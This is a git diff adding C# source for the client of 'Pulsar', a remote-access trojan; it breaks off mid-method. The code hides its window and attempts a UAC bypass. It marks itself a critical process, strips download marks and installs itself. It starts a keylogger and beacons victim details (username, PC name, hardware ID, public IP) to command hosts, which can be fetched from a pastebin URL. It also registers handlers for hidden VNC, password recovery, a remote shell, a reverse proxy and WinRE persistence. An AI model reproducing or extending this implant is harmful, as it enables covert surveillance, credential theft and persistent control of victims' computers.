b/Pulsar.Client/Networking/Client.cs @@ -0,0 +1,565 @@ +ο»Ώusing Pulsar.Client.ReverseProxy; +using Pulsar.Common.Messages; +using Pulsar.Common.Networking; +using Pulsar.Common.Extensions; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; +using System.Linq; +using System.Net; +using System.Net.Sockets; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Collections.Concurrent; +using Pulsar.Common.Messages.Administration.ReverseProxy; +using System.Diagnostics; +using System.IO; +using System.Buffers; +using System.Buffers.Binary; + +namespace Pulsar.Client.Networking +{ + public class Client : ISender, IDisposable + { + /// + /// Occurs as a result of an unrecoverable issue with the client. + /// + public event ClientFailEventHandler ClientFail; + + /// + /// Represents a method that will handle failure of the client. + /// + /// The client that has failed. + /// The exception containing information about the cause of the client's failure. + public delegate void ClientFailEventHandler(Client s, Exception ex); + + /// + /// Fires an event that informs subscribers that the client has failed. + /// + /// The exception containing information about the cause of the client's failure. + private void OnClientFail(Exception ex) + { + var handler = ClientFail; + handler?.Invoke(this, ex); + } + + /// + /// Occurs when the state of the client has changed. + /// + public event ClientStateEventHandler ClientState; + + /// + /// Represents the method that will handle a change in the client's state + /// + /// The client which changed its state. + /// The new connection state of the client. + public delegate void ClientStateEventHandler(Client s, bool connected); + + /// + /// Fires an event that informs subscribers that the state of the client has changed. + /// + /// The new connection state of the client. + private void OnClientState(bool connected) + { + if (Connected == connected) return; + + Connected = connected; + + var handler = ClientState; + handler?.Invoke(this, connected); + } + + /// + /// Occurs when a message is received from the server. + /// + public event ClientReadEventHandler ClientRead; + + /// + /// Represents a method that will handle a message from the server. + /// + /// The client that has received the message. + /// The message that has been received by the server. + /// The length of the message. + public delegate void ClientReadEventHandler(Client s, IMessage message, int messageLength); + + /// + /// Fires an event that informs subscribers that a message has been received by the server. + /// + /// The message that has been received by the server. + /// The length of the message. + private void OnClientRead(IMessage message, int messageLength) + { + Debug.WriteLine($"[CLIENT] Received packet: {message.GetType().Name} (Length: {messageLength} bytes)"); + var handler = ClientRead; + handler?.Invoke(this, message, messageLength); + } + + /// + /// The keep-alive time in ms. + /// + public uint KEEP_ALIVE_TIME => 25000; // 25s + + /// + /// The keep-alive interval in ms. + /// + public uint KEEP_ALIVE_INTERVAL => 25000; // 25s + + /// + /// The header size in bytes. + /// + public int HEADER_SIZE => 4; // 4B + + /// + /// Returns an array containing all of the proxy clients of this client. + /// + public ReverseProxyClient[] ProxyClients + { + get + { + lock (_proxyClientsLock) + { + return _proxyClients.ToArray(); + } + } + } + + /// + /// Gets if the client is currently connected to a server. + /// + public bool Connected { get; private set; } + + /// + /// The stream used for communication. + /// + private Stream _stream; + + /// + /// The server certificate. + /// + private readonly X509Certificate2 _serverCertificate; + + /// + /// Indicates whether secure envelopes should be enforced for all traffic. + /// + protected bool EncryptTraffic { get; set; } + + /// + /// A list of all the connected proxy clients that this client holds. + /// + private readonly List _proxyClients = new List(); + + readonly object _readMessageLock = new object(); + readonly object _sendMessageLock = new object(); + readonly object _proxyClientsLock = new object(); + + /// + /// The buffer for the client's incoming payload. + /// + private byte[] _readBuffer; + + /// + /// The queue which holds messages to send. + /// + private readonly ConcurrentQueue _sendBuffers = new ConcurrentQueue(); + + /// + /// Determines if the client is currently sending messages. + /// + private int _sendingMessagesFlag; + + // Receive info + private int _readOffset; + private int _readLength; + + /// + /// Constructor of the client, initializes serializer types. + /// + /// The server certificate. + protected Client(X509Certificate2 serverCertificate) + { + _serverCertificate = serverCertificate; + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + +#if DEBUG + var certificateUsable = SecureMessageEnvelopeHelper.CanUse(_serverCertificate); + var enforceEncryptionFlag = Environment.GetEnvironmentVariable("PULSAR_DEBUG_ENFORCE_ENCRYPTION"); + var enforceEncryption = !string.IsNullOrWhiteSpace(enforceEncryptionFlag) + && (enforceEncryptionFlag.Equals("1", StringComparison.OrdinalIgnoreCase) + || enforceEncryptionFlag.Equals("true", StringComparison.OrdinalIgnoreCase) + || enforceEncryptionFlag.Equals("yes", StringComparison.OrdinalIgnoreCase)); + + if (enforceEncryption && certificateUsable) + { + EncryptTraffic = true; + Debug.WriteLine("[CLIENT] Debug build: encryption enforced via PULSAR_DEBUG_ENFORCE_ENCRYPTION."); + } + else + { + EncryptTraffic = false; + if (!certificateUsable) + { + Debug.WriteLine("[CLIENT] Debug build: server certificate missing, running without encryption."); + } + else + { + var logMessage = enforceEncryption + ? "[CLIENT] Debug build: encryption enforcement requested but certificate cannot be used; continuing without encryption." + : "[CLIENT] Debug build: encryption disabled by default for development."; + Debug.WriteLine(logMessage); + } + } +#else + EncryptTraffic = SecureMessageEnvelopeHelper.CanUse(_serverCertificate); + if (!EncryptTraffic) + { + throw new InvalidOperationException("A valid server certificate is required for secure communication."); + } +#endif + } + + /// + /// Attempts to connect to the specified ip address on the specified port. + /// + /// The ip address to connect to. + /// The port of the host. + protected void Connect(IPAddress ip, ushort port) + { + Socket handle = null; + try + { + Disconnect(); + + handle = new Socket(ip.AddressFamily, SocketType.Stream, ProtocolType.Tcp); + handle.NoDelay = true; + handle.SetKeepAliveEx(KEEP_ALIVE_INTERVAL, KEEP_ALIVE_TIME); + handle.Connect(ip, port); + + if (handle.Connected) + { + _stream = new NetworkStream(handle, true); + _stream.BeginRead(_readBuffer, _readOffset, _readBuffer.Length, AsyncReceive, null); + OnClientState(true); + } + else + { + handle.Dispose(); + } + } + catch (Exception ex) + { + handle?.Dispose(); + OnClientFail(ex); + } + } + + private void AsyncReceive(IAsyncResult result) + { + try + { + if (_stream == null) + { + return; + } + + var bytesRead = _stream.EndRead(result); + if (bytesRead <= 0) + throw new Exception("no bytes transferred"); + + lock (_readMessageLock) + { + _readOffset += bytesRead; + _readLength -= bytesRead; + + if (_readLength == 0) + { + if (_readBuffer.Length == HEADER_SIZE) + { + var length = BitConverter.ToInt32(_readBuffer, 0); + if (length <= 0) + throw new InvalidDataException("Invalid message length."); + + _readBuffer = new byte[length]; + _readOffset = 0; + _readLength = length; + } + else + { + try + { + var message = PulsarMessagePackSerializer.Deserialize(_readBuffer); + message = ProcessIncomingMessage(message); + OnClientRead(message, _readBuffer.Length); + } + finally + { + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + } + } + } + + } + + if (_stream != null) + { + ThreadPool.QueueUserWorkItem(_ => + { + try + { + if (_stream != null) + { + _stream.BeginRead(_readBuffer, _readOffset, _readLength, AsyncReceive, result.AsyncState); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + }); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + } + + /// + /// Sends a message to the connected server. + /// + /// The type of the message. + /// The message to be sent. + public void Send(T message) where T : IMessage + { + if (!Connected || message == null) + return; + + _sendBuffers.Enqueue(message); + if (Interlocked.Exchange(ref _sendingMessagesFlag, 1) == 0) + { + ThreadPool.QueueUserWorkItem(ProcessSendBuffers); + } + } + + private void ProcessSendBuffers(object state) + { + while (true) + { + if (!Connected) + { + SendCleanup(true); + return; + } + + if (!_sendBuffers.TryDequeue(out var message)) + { + SendCleanup(); + return; + } + + SafeSendMessage(message); + } + } + + private void SendCleanup(bool clear = false) + { + Interlocked.Exchange(ref _sendingMessagesFlag, 0); + if (clear) + { + while (_sendBuffers.TryDequeue(out _)) ; + } + } + + private IMessage PrepareMessageForSend(IMessage message) + { + if (message == null) + { + return null; + } + + if (message is SecureMessageEnvelope) + { + return message; + } + + if (!EncryptTraffic) + { + return message; + } + + if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate)) + { + throw new InvalidOperationException("Secure transport is enabled but no certificate is available."); + } + + return SecureMessageEnvelopeHelper.Wrap(message, _serverCertificate); + } + + private IMessage ProcessIncomingMessage(IMessage message) + { + if (message is SecureMessageEnvelope secureEnvelope) + { + if (!SecureMessageEnvelopeHelper.CanUse(_serverCertificate)) + { + throw new InvalidOperationException("Received a secure envelope but no certificate is available for decryption."); + } + + return SecureMessageEnvelopeHelper.Unwrap(secureEnvelope, _serverCertificate); + } + + if (EncryptTraffic) + { + throw new InvalidOperationException($"Received unexpected plaintext message of type {message?.GetType().Name} while encryption is enforced."); + } + + return message; + } + + /// + /// Sends a message to the connected server and blocks until sent. + /// + /// The type of the message. + /// The message to be sent. + public void SendBlocking(T message) where T : IMessage + { + if (!Connected || message == null) + return; + + SafeSendMessage(message); + } + + /// + /// Safely sends a message and prevents multiple simultaneous + /// write operations on the . + /// + /// The message to send. + private void SafeSendMessage(IMessage message) + { + lock (_sendMessageLock) + { + if (_stream == null) + return; + + try + { + var prepared = PrepareMessageForSend(message); + if (prepared == null) + { + return; + } + + var payload = PulsarMessagePackSerializer.Serialize(prepared); + int totalLength = HEADER_SIZE + payload.Length; + + byte[] buffer = ArrayPool.Shared.Rent(totalLength); + try + { + BinaryPrimitives.WriteInt32LittleEndian(new Span(buffer, 0, HEADER_SIZE), payload.Length); + Buffer.BlockCopy(payload, 0, buffer, HEADER_SIZE, payload.Length); + _stream?.Write(buffer, 0, totalLength); + } + finally + { + ArrayPool.Shared.Return(buffer, clearArray: false); + } + } + catch (Exception ex) + { + Disconnect(); + OnClientFail(ex); + } + } + } + + /// + /// Disconnect the client from the server, disconnect all proxies that + /// are held by this client, and dispose of other resources associated + /// with this client. + /// + public void Disconnect() + { + lock (_sendMessageLock) + { + if (_stream != null) + { + _stream.Dispose(); + _stream = null; + } + } + + _readBuffer = new byte[HEADER_SIZE]; + _readOffset = 0; + _readLength = HEADER_SIZE; + + if (_proxyClients != null) + { + lock (_proxyClientsLock) + { + foreach (var proxy in _proxyClients) + { + try + { + proxy.Disconnect(); + } + catch (Exception ex) + { + // Log or handle proxy disconnect exceptions + System.Diagnostics.Debug.WriteLine($"Proxy disconnect error: {ex.Message}"); + } + } + } + } + + SendCleanup(true); + OnClientState(false); + } + + public void ConnectReverseProxy(ReverseProxyConnect command) + { + var proxy = new ReverseProxyClient(command, this); + lock (_proxyClientsLock) + { + _proxyClients.Add(proxy); + } + } + + public ReverseProxyClient GetReverseProxyByConnectionId(int connectionId) + { + lock (_proxyClientsLock) + { + return _proxyClients.FirstOrDefault(proxy => proxy.ConnectionId == connectionId); + } + } + + public void RemoveProxyClient(int connectionId) + { + lock (_proxyClientsLock) + { + _proxyClients.RemoveAll(proxy => proxy.ConnectionId == connectionId); + } + } + + /// + /// Implement IDisposable for managed resources. + /// + protected virtual void Dispose(bool disposing) + { + if (disposing) + { + Disconnect(); + } + } + + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + } +} diff --git a/Pulsar.Client/Networking/PulsarClient.cs b/Pulsar.Client/Networking/PulsarClient.cs new file mode 100644 index 0000000..148067d --- /dev/null +++ b/Pulsar.Client/Networking/PulsarClient.cs @@ -0,0 +1,296 @@ +using NAudio.CoreAudioApi; +using Pulsar.Client.Helper; +using Pulsar.Client.IO; +using Pulsar.Client.IpGeoLocation; +using Pulsar.Client.User; +using Pulsar.Common.DNS; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Messages; +using Pulsar.Common.Utilities; +using Pulsar.Client.Config; +using System; +using System.Diagnostics; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using Pulsar.Common.UAC; +using Pulsar.Client.Utilities; +using Pulsar.Common.Networking; + +namespace Pulsar.Client.Networking +{ + public class PulsarClient : Client, IDisposable + { + /// + /// Used to keep track if the client has been identified by the server. + /// + private bool _identified; + + /// + /// Indicates whether this client already requested deferred assemblies for the current session. + /// + private bool _requestedDeferredAssemblies; + + /// + /// The hosts manager which contains the available hosts to connect to. + /// + private readonly HostsManager _hosts; + + /// + /// Random number generator to slightly randomize the reconnection delay. + /// + private readonly SafeRandom _random; + + /// + /// Create a and signals cancellation. + /// + private readonly CancellationTokenSource _tokenSource; + + /// + /// The token to check for cancellation. + /// + private readonly CancellationToken _token; + + /// + /// Indicates that shutdown was requested for the connect loop. + /// + private volatile bool _shutdownRequested; + + /// + /// Tracks whether the instance was disposed to avoid double cleanup. + /// + private bool _disposed; + + /// + /// Initializes a new instance of the class. + /// + /// The hosts manager which contains the available hosts to connect to. + /// The server certificate. + public PulsarClient(HostsManager hostsManager, X509Certificate2 serverCertificate) + : base(serverCertificate) + { + _hosts = hostsManager; + _random = new SafeRandom(); + base.ClientState += OnClientState; + base.ClientRead += OnClientRead; + base.ClientFail += OnClientFail; + _tokenSource = new CancellationTokenSource(); + _token = _tokenSource.Token; + } + + /// + /// Connection loop used to reconnect and keep the connection open. + /// + public void ConnectLoop() + { + while (!_shutdownRequested && !_token.IsCancellationRequested) + { + if (!Connected) + { + var host = _hosts.GetNextHost(); + + if (host?.IpAddress == null) + { + Debug.WriteLine("Failed to get a valid host to connect to. Will retry after delay."); + + // Check pastebin status to determine appropriate wait time + var (IsReachable, SuggestedWaitTimeMs) = _hosts.GetPastebinStatus(); + int waitTime; + + if (!IsReachable && SuggestedWaitTimeMs > 0) + { + // Use suggested wait time for pastebin failures (5+ minutes to avoid rate limiting) + waitTime = SuggestedWaitTimeMs; + Debug.WriteLine($"Pastebin unreachable, waiting {waitTime / 1000} seconds before retry"); + } + else + { + // Use normal reconnect delay when pastebin is reachable but no hosts available + waitTime = Settings.RECONNECTDELAY; + } + + Thread.Sleep(waitTime + _random.Next(250, 750)); + continue; + } + + try + { + base.Connect(host.IpAddress, host.Port); + } + catch (Exception ex) + { + Debug.WriteLine($"Connection attempt failed: {ex.Message}"); + } + } + + while (Connected) + { + if (WaitForShutdownSignal(1000)) + { + Disconnect(); + return; + } + } + + if (_shutdownRequested || _token.IsCancellationRequested) + { + Disconnect(); + return; + } + + if (WaitForShutdownSignal(Settings.RECONNECTDELAY + _random.Next(250, 750))) + { + Disconnect(); + return; + } + } + } + + private void OnClientRead(Client client, IMessage message, int messageLength) + { + if (!_identified) + { + if (message is ClientIdentificationResult reply) + { + _identified = reply.Result; + if (_identified) + { + RequestDeferredAssemblies(); + } + } + return; + } + + MessageHandler.Process(client, message); + } + + private void OnClientFail(Client client, Exception ex) + { + Debug.WriteLine($"Client Fail - Exception Message: {ex.Message}"); + client.Disconnect(); + } + + private void OnClientState(Client client, bool connected) + { + _identified = false; // always reset identification + _requestedDeferredAssemblies = false; + + if (connected) + { + // Notify hosts manager of successful connection for pastebin timing logic + _hosts.NotifySuccessfulConnection(); + + // send client identification once connected + + var geoInfo = GeoInformationFactory.GetGeoInformation(); + var userAccount = new UserAccount(); + + var identification = new ClientIdentification + { + Version = Settings.ReportedVersion, + OperatingSystem = PlatformHelper.FullName, + AccountType = userAccount.Type.ToString(), + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + ImageIndex = geoInfo.ImageIndex, + Id = HardwareDevices.HardwareId, + Username = userAccount.UserName, + PcName = SystemHelper.GetPcName(), + Tag = Settings.TAG, + EncryptionKey = Settings.ENCRYPTIONKEY, + Signature = Convert.FromBase64String(Settings.SERVERSIGNATURE), + PublicIP = geoInfo.IpAddress ?? "Unknown" + }; + + client.Send(identification); + } + } + + private void RequestDeferredAssemblies() + { + if (_requestedDeferredAssemblies) + { + return; + } + + var missingAssemblies = DeferredAssemblyManager.GetMissingAssemblies(); + if (missingAssemblies == null || missingAssemblies.Length == 0) + { + return; + } + + try + { + Send(new RequestDeferredAssemblies + { + Assemblies = missingAssemblies, + ClientVersion = Settings.ReportedVersion + }); + + _requestedDeferredAssemblies = true; + Debug.WriteLine($"Requested {missingAssemblies.Length} deferred assemblies from server."); + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to request deferred assemblies: {ex.Message}"); + } + } + + /// + /// Stops the connection loop and disconnects the connection. + /// + public void Exit() + { + if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator()) + { + NativeMethods.RtlSetProcessIsCritical(0, 0, 0); + } + + _shutdownRequested = true; + _tokenSource.Cancel(); + Disconnect(); + } + + protected override void Dispose(bool disposing) + { + if (!disposing || _disposed) + { + return; + } + + _shutdownRequested = true; + _disposed = true; + + _tokenSource.Cancel(); + + try + { + base.Dispose(disposing); + } + finally + { + _tokenSource.Dispose(); + } + } + + /// + /// Waits for either a shutdown request/cancellation or until the specified timeout elapses. + /// + /// Timeout in milliseconds. + /// true if shutdown was requested; otherwise false. + private bool WaitForShutdownSignal(int timeoutMs) + { + const int slice = 100; + var waited = 0; + + while (waited < timeoutMs && !_shutdownRequested && !_token.IsCancellationRequested) + { + var delay = Math.Min(slice, timeoutMs - waited); + Thread.Sleep(delay); + waited += delay; + } + + return _shutdownRequested || _token.IsCancellationRequested; + } + } +} diff --git a/Pulsar.Client/Plugins/IClientPlugin.cs b/Pulsar.Client/Plugins/IClientPlugin.cs new file mode 100644 index 0000000..023b715 --- /dev/null +++ b/Pulsar.Client/Plugins/IClientPlugin.cs @@ -0,0 +1,14 @@ +using System; +using System.Collections.Generic; +using Pulsar.Common.Messages; +using Pulsar.Client.Networking; + +namespace Pulsar.Client.Plugins +{ + public interface IClientPlugin + { + string Name { get; } + Version Version { get; } + void Register(List processors, PulsarClient client); + } +} diff --git a/Pulsar.Client/Program.cs b/Pulsar.Client/Program.cs new file mode 100644 index 0000000..4e806d2 --- /dev/null +++ b/Pulsar.Client/Program.cs @@ -0,0 +1,47 @@ +ο»Ώusing Pulsar.Client.Config; +using Pulsar.Client.IO; +using System; +using System.Diagnostics; +using System.Net; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + internal static class Program + { + [DllImport("user32.dll", SetLastError = true)] + private static extern IntPtr GetThreadDesktop(uint dwThreadId); + + [DllImport("kernel32.dll")] + private static extern uint GetCurrentThreadId(); + + [DllImport("user32.dll", SetLastError = true)] + private static extern bool SetProcessDPIAware(); + + [STAThread] + private static void Main() + { + // enable TLS 1.2 + ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; + + SetProcessDPIAware(); + + // Set the unhandled exception mode to force all Windows Forms errors to go through our handler + Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException); + + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + + SaveOriginalDesktop(); + + Application.Run(new PulsarApplication()); +} + + private static void SaveOriginalDesktop() + { + Settings.OriginalDesktopPointer = GetThreadDesktop(GetCurrentThreadId()); + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Properties/.DS_Store b/Pulsar.Client/Properties/.DS_Store new file mode 100644 index 0000000000000000000000000000000000000000..5008ddfcf53c02e82d7eee2e57c38e5672ef89f6 GIT binary patch literal 6148 zcmeH~Jr2S!425mzP>H1@V-^m;4Wg<&0T*E43hX&L&p$$qDprKhvt+--jT7}7np#A3 zem<@ulZcFPQ@L2!n>{z**++&mCkOWA81W14cNZlEfg7;MkzE(HCqgga^y>{tEnwC%0;vJ&^%eQ zLs35+`xjp>T0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Pulsar.Client/Properties/Settings.Designer.cs b/Pulsar.Client/Properties/Settings.Designer.cs new file mode 100644 index 0000000..d764d75 --- /dev/null +++ b/Pulsar.Client/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +ο»Ώ//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Pulsar.Client.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.8.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/Pulsar.Client/Properties/Settings.settings b/Pulsar.Client/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/Pulsar.Client/Properties/Settings.settings @@ -0,0 +1,7 @@ +ο»Ώ + + + + + + diff --git a/Pulsar.Client/Pulsar.Client.csproj b/Pulsar.Client/Pulsar.Client.csproj new file mode 100644 index 0000000..4713457 --- /dev/null +++ b/Pulsar.Client/Pulsar.Client.csproj @@ -0,0 +1,121 @@ +ο»Ώ + + net48 + WinExe + Client + true + false + AnyCPU + Debug;Release;ReleaseWithDonut + + + ..\bin\Debug\ + true + portable + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + + + none + ..\bin\Release\ + true + AnyCPU + True + + + Pulsar.Client.Program + + + app.manifest + + + $(MSBuildProjectDirectory)\..\Pulsar.Server\DeferredAssemblies + + + $(SolutionDir)Pulsar.Server\DeferredAssemblies + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + + + + all + runtime; build; compile; native; contentfiles; analyzers; buildtransitive + + + all + runtime; build; native; contentfiles; analyzers; buildtransitive + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Pulsar.Client/PulsarApplication.cs b/Pulsar.Client/PulsarApplication.cs new file mode 100644 index 0000000..25bad58 --- /dev/null +++ b/Pulsar.Client/PulsarApplication.cs @@ -0,0 +1,447 @@ +ο»Ώusing Pulsar.Client.Anti; +using Pulsar.Client.Config; +using Pulsar.Client.Helper.UAC; +using Pulsar.Client.Logging; +using Pulsar.Client.LoggingAPI; +using Pulsar.Client.Messages; +using Pulsar.Client.Networking; +using Pulsar.Client.Setup; +using Pulsar.Client.User; +using Pulsar.Client.Utilities; +using Pulsar.Common.DNS; +using Pulsar.Common.Helpers; +using Pulsar.Common.Messages; +using Pulsar.Common.Messages.ClientManagement; +using Pulsar.Common.UAC; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Security.Principal; +using System.Text; +using System.Linq; +using System.Threading; +using System.Windows.Forms; + +namespace Pulsar.Client +{ + /// + /// The client application which handles basic bootstrapping of the message processors and background tasks. + /// + public class PulsarApplication : Form + { + /// + /// Static reference to the current application instance. + /// + public static PulsarApplication Instance { get; private set; } + + /// + /// A system-wide mutex that ensures that only one instance runs at a time. + /// + public SingleInstanceMutex ApplicationMutex; + + /// + /// The client used for the connection to the server. + /// + private PulsarClient _connectClient; + + /// + /// List of to keep track of all used message processors. + /// + private readonly List _messageProcessors; + + /// + /// The background keylogger service used to capture and store keystrokes. + /// + private KeyloggerService _keyloggerService; + + /// + /// Keeps track of the user activity. + /// + private ActivityDetection _userActivityDetection; + + private ActiveWindowChecker _activeWindowChecker; + private ClipboardChecker _clipboardChecker; + private DebugLog _debugLog; + + private bool _deferredProcessorsRegistered; + + private static readonly string[] SharpDxAssemblies = + { + "SharpDX", + "SharpDX.Direct3D11", + "SharpDX.Direct2D1", + "SharpDX.DXGI", + "SharpDX.D3DCompiler", + "SharpDX.Mathematics" + }; + + private static readonly string[] WebcamAssemblies = + { + "AForge", + "AForge.Video", + "AForge.Video.DirectShow" + }; + + private static readonly string[] AudioAssemblies = + { + "NAudio.Core", + "NAudio.Wasapi", + "NAudio.WinForms", + "NAudio.WinMM" + }; + + /// + /// Gets the clipboard checker instance. + /// + public ClipboardChecker ClipboardChecker => _clipboardChecker; + + /// + /// Determines whether an installation is required depending on the current and target paths. + /// + private bool IsInstallationRequired => Settings.INSTALL && Settings.INSTALLPATH != Application.ExecutablePath; + + /// + /// Notification icon used to show notifications in the taskbar. + /// + private readonly NotifyIcon _notifyIcon; + + /// + /// Initializes a new instance of the class. + /// + public PulsarApplication() + { + Instance = this; + _messageProcessors = new List(); + _notifyIcon = new NotifyIcon(); + } + + /// + /// Starts the application. + /// + /// An System.EventArgs that contains the event data. + protected override void OnLoad(EventArgs e) + { + Visible = false; + ShowInTaskbar = false; + Run(); + base.OnLoad(e); + } + + /// + /// Begins running the application. + /// + public void Run() + { + // decrypt and verify the settings + if (!Settings.Initialize()) + Environment.Exit(1); + + DeferredAssemblyManager.Initialize(); + + ApplicationMutex = new SingleInstanceMutex(Settings.MUTEX); + + // check if process with same mutex is already running on system + if (!ApplicationMutex.CreatedNew) + Environment.Exit(2); + + Manager.StartAnti(); + + if (Settings.UACBYPASS && !UAC.IsAdministrator()) + { + Debug.WriteLine("Attempting UAC bypass..."); + Bypass.DoUacBypass(); + Environment.Exit(5); + } + + if (Settings.MAKEPROCESSCRITICAL && UAC.IsAdministrator()) + { + Debug.WriteLine("Setting process as critical..."); + NativeMethods.RtlSetProcessIsCritical(1, 0, 0); + } + + FileHelper.DeleteZoneIdentifier(Application.ExecutablePath); + + var installer = new ClientInstaller(); + + if (IsInstallationRequired) + { + // close mutex before installing the client + ApplicationMutex.Dispose(); + + try + { + installer.Install(); + Environment.Exit(3); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + } + else + { + try + { + // (re)apply settings and proceed with connect loop + installer.ApplySettings(); + } + catch (Exception e) + { + Debug.WriteLine(e); + } + + if (Settings.ENABLELOGGER) + { + DeferredAssemblyManager.RunWhenAvailable( + new[] { "Gma.System.MouseKeyHook" }, + () => + { + try + { + if (_keyloggerService != null) + { + return; + } + + if (!DeferredAssemblyManager.TryEnsureAssembliesLoaded("Gma.System.MouseKeyHook")) + { + Debug.WriteLine("Keylogger dependencies not yet available; deferring start."); + return; + } + + _keyloggerService = new KeyloggerService(); + _keyloggerService.Start(); + } + catch (Exception ex) + { + Debug.WriteLine($"Failed to start keylogger: {ex.Message}"); + } + }); + } + + PulsarClient client; + string hosts = Settings.HOSTS; + + if (Settings.PASTEBIN && + (hosts.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || + hosts.StartsWith("https://", StringComparison.OrdinalIgnoreCase))) + { + Debug.WriteLine("Using pastebin mode with URL: " + hosts); + var hostsManager = new HostsManager(hosts); + client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); + } + else + { + Debug.WriteLine("Using standard host list mode"); + var hostsList = new HostsConverter().RawHostsToList(hosts); + var hostsManager = new HostsManager(hostsList); + client = new PulsarClient(hostsManager, Settings.SERVERCERTIFICATE); + } + + _connectClient = client; + _connectClient.ClientState += ConnectClientOnClientState; + InitializeMessageProcessors(_connectClient); + + _userActivityDetection = new ActivityDetection(_connectClient); + _userActivityDetection.Start(); + + _activeWindowChecker = new ActiveWindowChecker(_connectClient); + _clipboardChecker = new ClipboardChecker(_connectClient); + UniversalDebugLogger.Initialize(_connectClient); + _debugLog = new DebugLog(); + + new Thread(() => + { + // Start connection loop on new thread and dispose application once client exits. + // This is required to keep the UI thread responsive and run the message loop. + _connectClient.ConnectLoop(); + Environment.Exit(0); + }).Start(); + } + } + + [System.Runtime.CompilerServices.MethodImpl( + System.Runtime.CompilerServices.MethodImplOptions.NoInlining | + System.Runtime.CompilerServices.MethodImplOptions.NoOptimization)] + private void ConnectClientOnClientState(Networking.Client s, bool connected) + { + if (connected) + { + _notifyIcon.Text = "Pulsar Client\nConnection established"; + + string currentWindowTitle = GetCurrentWindowTitle(); + _connectClient.Send(new SetUserActiveWindowStatus { WindowTitle = currentWindowTitle }); + } + else + _notifyIcon.Text = "Pulsar Client\nNo connection"; + } + + /// + /// Gets the title of the currently active window. + /// + /// The title of the active window. + private string GetCurrentWindowTitle() + { + const int nChars = 256; + StringBuilder buff = new StringBuilder(nChars); + IntPtr handle = NativeMethods.GetForegroundWindow(); + + if (NativeMethods.GetWindowText(handle, buff, nChars) > 0) + { + return buff.ToString(); + } + return null; + } + + /// + /// Adds all message processors to and registers them in the . + /// + /// The client which handles the connection. + /// Always initialize from UI thread. + private void InitializeMessageProcessors(PulsarClient client) + { + RegisterProcessor(new DeferredAssemblyHandler()); + RegisterProcessor(new CommandHandler()); + + RegisterProcessor(new PreviewHandler()); + RegisterProcessor(new PingHandler()); + RegisterProcessor(new QuickCommandHandler()); + RegisterProcessor(new HVNCHandler()); + RegisterProcessor(new ClientServicesHandler(this, client)); + RegisterProcessor(new FileManagerHandler(client)); + RegisterProcessor(new KeyloggerHandler()); + RegisterProcessor(new MessageBoxHandler()); + RegisterProcessor(new ClipboardHandler()); + RegisterProcessor(new FunStuffHandler()); + RegisterProcessor(new PasswordRecoveryHandler()); + RegisterProcessor(new RegistryHandler()); + RegisterProcessor(new RemoteShellHandler(client)); + RegisterProcessor(new ReverseProxyHandler(client)); + RegisterProcessor(new ShutdownHandler()); + RegisterProcessor(new StartupManagerHandler()); + RegisterProcessor(new SystemInformationHandler()); + RegisterProcessor(new TaskManagerHandler(client)); + RegisterProcessor(new TcpConnectionsHandler()); + RegisterProcessor(new WebsiteVisitorHandler()); + RegisterProcessor(new RemoteScriptingHandler()); + RegisterProcessor(new RemoteChatHandler()); + RegisterProcessor(new WinREPersistenceHandler()); + + ScheduleDeferredMessageProcessors(client); + } + + private void RegisterProcessor(IMessageProcessor processor) + { + if (processor == null) + { + return; + } + + bool shouldRegister; + lock (_messageProcessors) + { + shouldRegister = !_messageProcessors.Contains(processor); + if (shouldRegister) + { + _messageProcessors.Add(processor); + } + } + + if (shouldRegister) + { + MessageHandler.Register(processor); + } + } + + private void ScheduleDeferredMessageProcessors(PulsarClient client) + { + 